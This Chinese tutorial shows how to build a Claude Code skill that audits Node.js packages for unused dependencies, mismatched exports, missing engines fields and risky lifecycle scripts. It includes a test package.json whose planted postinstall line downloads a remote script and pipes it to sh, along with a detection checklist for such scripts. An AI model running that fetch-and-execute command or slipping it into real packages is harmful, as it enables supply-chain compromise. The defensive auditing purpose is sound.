如何使用 AI Skill 审计 Node 项目
创建 Claude Code 技能来审计 Node.js 包:检查未使用依赖、风险生命周期脚本、错误的 exports 和 engines 设置,并提供证据与置信度。
要使用 AI Skill 审计 Node 项目,只需将一个 SKILL.md 文件提交到 .claude/skills/<skill-name>/ 目录。它会把真实的 package.json 和构建产物注入到 prompt 中,并指示 Claude Code 执行一小组需要判断力的检查,每项结论都附带证据。
大多数包审查最后都会留下同样四条评论:一个早已没人导入的依赖、一个没人读过的 postinstall 脚本、缺失的 engines 字段,以及一个指向构建并不会生成的文件的 exports 映射。每个 PR 你都要把这些评论重写一遍。
本文为这项工作构建一个小型审计 Skill。文章会给出完整文件,说明如何让它在”audit this package”这类请求时触发,而不是在每次编辑时都触发,并演示如何在一个测试仓库上运行它。文中也会讨论这个 Skill 可能出错的地方。
核心要点
- Claude Code 项目 Skill 就是位于
.claude/skills/<skill-name>/的一个文件夹,其中包含SKILL.md文件。将该文件夹提交到仓库后,所有克隆该仓库的人都能使用同一个/skill-name命令。 - SKILL.md 中以 !
cat package.json开头的行会在 Claude 读取 Skill 之前执行,因此审计基于真实的 manifest,而不是对它的猜测。 - 如果某条注入命令执行失败,Claude Code 会中止整个调用。在默认的 bash shell 下,任何非零退出码都视为失败,但搜索和比较类命令返回的退出码 1 除外。对于可能因正当原因失败的命令,需要在末尾追加
|| true。 - 审计 Skill 应该读取安装脚本,而绝不能执行它们。
npm install、npm ci和npm run既不能出现在注入命令中,也不能出现在allowed-tools里。 - ESLint、
npm audit和 publint 对相同输入总是给出相同结果,而审计 Skill 不是,因此只应将它用于需要判断力的问题。
每个 PR 上重复出现的四条审查评论
同样的包审查评论之所以反复出现,是因为其背后的问题无法通过规则来解决。判断某个依赖是否仍然需要,意味着要搜索整个代码库;判断某个 postinstall 脚本是否可疑,意味着要去阅读它。任何 linter 都没有能处理这两件事的配置项。
Claude Code Skill 正适合这类需要判断力的工作。它是一组可复用的指令,写在 SKILL.md 文件中,当请求与其描述匹配或你直接输入其名称时,Claude Code 就会加载它。如果你还不熟悉这种格式,可以参考 面向前端工作流的 Claude Code Skills 和 可复用的 AI Agent 能力 这两篇指南,其中解释了相关概念。
如何创建用于包审计的 Claude Code Skill
要创建 Claude Code Skill,只需在 .claude/skills/ 下新建一个目录,并在其中放置 SKILL.md 文件。该文件以 --- 标记包裹的 YAML frontmatter 开头,后面跟着 Markdown 格式的指令。目录名或 frontmatter 中的 name 字段会成为斜杠命令的名称。
创建 Skill 文件夹
项目 Skill 存放在仓库的 .claude 文件夹 中。Claude Code 会加载保存在 .claude/skills/<skill-name>/SKILL.md 的 Skill,并在该仓库的每个会话中生效。
mkdir -p .claude/skills/node-package-audit
完整的 SKILL.md
将以下文件保存为 .claude/skills/node-package-audit/SKILL.md。开头的 --- 必须位于第 1 行。
---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---
## Manifest
!`cat package.json`
## Top-level files
!`ls -a`
## Build output
!`ls dist lib build || true`
## Instructions
Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.
For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.
1. Dependencies: for each entry in dependencies and devDependencies,
search src, scripts in package.json, config files and bin entries for
a use. Flag only entries with no reference anywhere. Tools can be
referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
against the build output listed above. Flag paths that point at files
that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
Flag anything that downloads, runs a remote script, writes outside
the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
syntax or APIs used in the source.
Finish with a table of findings, then a short list of what you could not
check and why.
Frontmatter 与注入命令的作用
该文件中的每个键都列在 frontmatter 参考文档 中。它们都不是必填项,不过官方文档建议设置 description。未知的键不会引发错误:Claude Code 只是直接跳过它,所以像 allowed_tools 这样的拼写错误会悄无声息地失效,不会有任何警告。
三行以 ! 开头的内容使用了动态上下文注入(dynamic context injection)。在 Claude 读取 Skill 之前,Claude Code 会依次执行每条命令,并用命令的输出替换该行。其中任何一条失败都会中止整个调用。当 ls 被要求列出一个不存在的目录时会以非零码退出,而尚未构建的包是没有 dist/ 的。这就是构建产物那一行以 || true 结尾的原因。cat package.json 则刻意没有设置兜底:对于 Node 包而言,缺少 manifest 本就应该终止审计。
Claude Code 不会为注入命令弹出权限确认提示。在非自动模式下,如果某条注入命令未被你的权限规则明确允许,调用就会中止,而 allowed-tools 正是 Skill 预先批准这些命令的方式。Claude Code 会分别检查复合命令的每一部分,因此 ls dist lib build || true 除了需要 ls 的规则,还需要一条 true 的规则。这就是 allowed-tools 中包含 Bash(true) 的原因。该授权仅在调用 Skill 的那一轮对话中有效。如果运行时因 Shell command permission check failed 而中止,请在权限设置中为该命令添加一条允许规则。
SKILL.md frontmatter 中还有两个可选字段值得了解。paths 会将自动加载限制在与其 glob 模式匹配的文件上。disable-model-invocation: true 则使 Skill 仅在你输入 /node-package-audit 时运行。
编写只在审计时触发、而非编辑时触发的描述
Claude 依据 description 字段来决定是否在未被明确要求时加载某个 Skill。像”Helps with Node projects”这样的描述过于模糊,既无法可靠地匹配”audit this package”,又宽泛到会在不相关的工作中被加载。
上面 node-package-audit 的描述在第一句就点明了用例,列出了触发动词(audit、review、sanity-check、ready to publish),并在结尾给出明确的排除条件。Skill 列表会在 description 与 when_to_use 合计超过 1,536 个字符后截断,因此核心用例需要放在最前面。如果 Skill 仍然触发过于频繁,官方文档建议使用更具体的描述,或改为仅手动调用。
五项需要判断力而非规则的检查
Skill 中的每项检查都提出一个依赖上下文的问题,并且只有在引用了具体文件或字段之后,结论才算作 confirmed(已确认)。
每个依赖是否仍然需要? Skill 必须先查找使用位置,然后才能标记某个依赖。import 语句是容易的情况;更难的是那些在 scripts 中以 CLI 方式调用的包,以及在配置文件中以字符串名称引用的插件。
exports 是否与构建产物一致? Skill 会将声明的路径与它收到的 ls 输出进行比对。指向不存在文件的路径属于 confirmed;而对某个条件是否指向正确格式的疑虑,通常会被标记为 unverified(未验证)。
安装脚本是否有可疑行为? npm 11 默认会执行依赖中的 preinstall、install 和 postinstall 脚本,对于从 git 等非 registry 来源安装的依赖,还会执行 prepare。2026 年 7 月 8 日发布的 npm 12 不再执行这些依赖脚本,除非该包已获批准,并以同样的方式阻止来自 git、file 和 link 依赖的 prepare。使用 npm 11 及更早版本的项目,以及已获批准的包,仍会执行这些脚本。一个把远程文件通过管道交给 shell 执行的脚本,在审查中理应被指出。Skill 只读取这些脚本,绝不能执行它们,这也是为什么注入行和 allowed-tools 中都没有出现任何 npm 命令。同样的供应链安全逻辑也适用于 CI 配置,详见 GitHub workflow 安全审计。工作区信任机制对已提交 Skill 中的 allowed-tools 并不适用:即使在你从未信任过的文件夹中,Claude Code 也会遵循该字段,因此在克隆任何仓库后都应检查它。
目录布局是否遵循仓库约定? 这里的”约定”指的是同级包已有的做法。“标记偏离,而非偏好”这条指令能防止该检查沦为代码风格建议。
engines 是否缺失或有误? npm 只有在安装者启用 engine-strict 时才会强制校验 engines。否则,版本不匹配只会打印一条警告,安装照常进行。缺失或错误的版本范围会悄无声息地失效,这正是这项检查值得做的原因。
确认 Skill 能够触发,然后运行它
有四种方式可以确认 Skill 能否触发:询问”What skills are available?”、直接调用 /node-package-audit、运行 claude plugin validate .claude/skills,或者使用 --debug 启动 Claude Code。
What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug
claude plugin validate 需要 Claude Code v2.1.233 或更高版本。如果 /node-package-audit 可以正常运行,但”audit this package”无法触发该 Skill,请首先检查 frontmatter。frontmatter 解析失败并不会阻止 Skill 加载。Claude Code 会在没有元数据的情况下加载它,因此输入斜杠命令仍然有效,但 Claude 没有可用于匹配请求的描述。官方文档还建议将 SKILL.md 控制在 500 行以内。
预埋缺陷的测试仓库
下面这个 package.json 中预埋了四个缺陷。它的 dist/ 中只有 index.js 和 index.d.ts,另有一个 .prettierrc 以名称引用了 prettier-plugin-organize-imports。
{
"name": "@acme/date-utils",
"version": "1.4.0",
"type": "module",
"main": "./dist/index.js",
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.mjs"
}
},
"scripts": {
"build": "tsc",
"lint": "eslint .",
"postinstall": "curl -fsSL https://example.com/setup.sh | sh"
},
"dependencies": {
"left-pad": "^1.3.0"
},
"devDependencies": {
"eslint": "^9.0.0",
"prettier-plugin-organize-imports": "^4.0.0",
"typescript": "^5.6.0"
}
}
预埋的缺陷分别是:未使用的 left-pad、指向不存在的 index.mjs 的 exports 路径、将远程脚本通过管道交给 shell 执行的 postinstall,以及缺失的 engines 字段。
输出结果与误判
报告会以一个发现汇总表开头,后面跟着一份”could not check”(无法检查项)列表。下面是针对该测试仓库的输出示例。
Findings
| # | Check | Finding | Evidence | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package | no import in src/, not named in scripts or config | confirmed |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused | no import in src/ | unverified |
| 3 | Exports | exports["."].import points at a missing file | ./dist/index.mjs is not in the build output | confirmed |
| 4 | Lifecycle | postinstall downloads and runs a remote script | scripts.postinstall pipes curl output to sh | confirmed |
| 5 | Engines | package.json has no engines field | no "engines" key in package.json | confirmed |
Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.
可以预见的误判是将 prettier-plugin-organize-imports 错误地标记为”未使用”,因为它只以字符串形式出现在配置文件中。Skill 的指令能降低这种风险,但无法彻底消除。请先查看置信度一列:对于标记为 unverified 的依赖结论,应将其视为提醒你亲自 grep 一遍,而不是直接删除它的理由。
Skill 不是 Linter
Skill 处理的是确定性工具无法回答的问题,而且它有时会出错。ESLint 和 publint 对相同输入总是返回相同结果,npm audit 在给定安全公告集合的情况下也是如此,因此它们应作为硬性关卡放在 CI 中。审计 Skill 则属于代码审查环节,由人阅读其证据后再采取行动。自动化确定性代码检查 的理由依然成立,Skill 并不能取代其中任何一项。
错误的 exports 路径或错误的 engines 范围,通常会在运行时而非 CI 中暴露出来。会话回放(Session Replay)可以在上下文中呈现由此导致的白屏、控制台报错和失败的请求,而 Skill 则能在发布前捕获其静态根源。
总结
一个小型审计 Skill 之所以有效,在于它的范围足够窄:注入真实文件,执行五项附带引用证据的检查,只读取安装脚本而不执行,并在不确定时明确说明。提交上面的 SKILL.md,在你最常审查的包上运行 /node-package-audit,如果它反复报告的某项问题能用确定性规则表达,就把它迁移成规则。
常见问题
既然 npm 12 已经阻止了安装脚本,安装脚本检查还有用吗?
有用。npm 12.0.0 不再执行依赖中的 preinstall、install 或 postinstall 脚本,除非它们通过 npm approve-scripts 获得批准;同时也以同样的方式阻止来自 git、file 和 link 依赖的 prepare 脚本。但使用 npm 11 或更早版本的使用者默认仍会执行这些脚本,已获批准的包也会继续执行。将远程脚本通过管道交给 shell 执行的 postinstall 依然需要审查。
在包含多个包的 monorepo 中,审计 Skill 应该放在哪里?
将共享的审计 Skill 放在根目录的 .claude/skills 文件夹中,使其作用于整个仓库。对于特定于某个包的规则,可以在该包内单独提交一个 Skill,例如 packages/api/.claude/skills/。当你处理某个子目录中的文件时,Claude Code 才会发现嵌套的 Skill 文件夹,因此在 Claude 读取或编辑该目录下的文件之前,包级 Skill 可能不会出现。
如果开发者有一个与已提交 Skill 同名的个人 Skill,会发生什么?
个人 Skill 优先。Claude Code 按照 enterprise、personal、project 的顺序解决 Skill 名称冲突,因此对于该开发者而言,位于 ~/.claude/skills/node-package-audit/SKILL.md 的 Skill 会覆盖已提交的 .claude/skills/node-package-audit/SKILL.md。插件 Skill 带有命名空间,永远不会发生冲突。如果某位同事的审计结果忽略了仓库版本中的最新改动,请首先检查是否存在同名的个人 Skill。